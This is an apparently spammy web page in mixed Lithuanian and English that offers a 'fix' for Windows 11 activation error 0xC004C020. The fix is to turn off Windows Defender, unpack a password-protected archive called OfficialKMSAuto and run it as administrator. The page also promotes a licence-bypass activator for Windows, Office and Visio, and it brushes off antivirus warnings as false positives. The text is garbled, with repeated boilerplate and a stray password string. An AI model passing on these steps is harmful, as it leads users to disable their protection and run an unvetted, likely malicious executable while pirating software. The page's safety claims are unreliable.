Windows 11 0xC004C020 — Klaidų Sprendimo Vadovas 2026
Šis straipsnis yra išsamus lietuviškas vadovas apie Windows 11 0xC004C020 2026 metais. Step-by-step fix for 0xC004C020 on Windows 11. The MAK is blocked. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97Šis straipsnis yra išsamus lietuviškas vadovas apie Windows 11 0xC004C020 2026 metais. Error 0xC004C020 appears when Microsoft blocked the Multiple Activation Key (MAK) in use. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error 0xC004C020?
The MAK is blocked. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix 0xC004C020' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of 0xC004C020 need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
Read this article in another language
Related articles
KMSAuto vs HWIDGen — 2026 Palyginimas ir Verdiktas
Šis straipsnis yra išsamus lietuviškas vadovas apie KMSAuto vs HWIDGen 2026 metais. HWIDGen does HWID only. KMSAuto Net 2026 bundles HWID + KMS + Ohook + TSforge in one tool.
Read article →
KMSAuto Indonesia Atsisiųsti Nemokamai 2026 — Windows ir Office Aktyvatorius
Šis straipsnis yra išsamus lietuviškas vadovas apie KMSAuto Indonesia 2026 metais. Download KMSAuto Net 2026 versi Indonesia — aktivator gratis untuk Windows dan Office.
Read article →
Svenska Atsisiųsti Nemokamai 2026 — Windows ir Office Aktyvatorius
Šis straipsnis yra išsamus lietuviškas vadovas apie Svenska 2026 metais. KMSAuto Net 2026 på svenska — aktivera Windows 11 och Office 2024 gratis på 60 sekunder.
Read article →
Activate Windows on UTM Aktyvavimo Metodas 2026 — Pilnas Vadovas
Šis straipsnis yra išsamus lietuviškas vadovas apie Activate Windows on UTM 2026 metais. Activate Windows 11 ARM on UTM (free Mac VM) with TSforge bundled in KMSAuto Net 2026.
Read article →
Kaip Aktyvuoti Microsoft Visio 2024 Nemokamai 2026 — Žingsnis po Žingsnio
Šis straipsnis yra išsamus lietuviškas vadovas apie Microsoft Visio 2024 2026 metais. Activate Microsoft Visio 2024 Pro free with Ohook — every stencil and AutoCAD import unlocked.
Read article →
Error 0xC004F006 — Klaidų Sprendimo Vadovas 2026
Šis straipsnis yra išsamus lietuviškas vadovas apie Error 0xC004F006 2026 metais. 0xC004F006 means the installed key doesn't match the running edition. Reinstall the correct GVLK.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97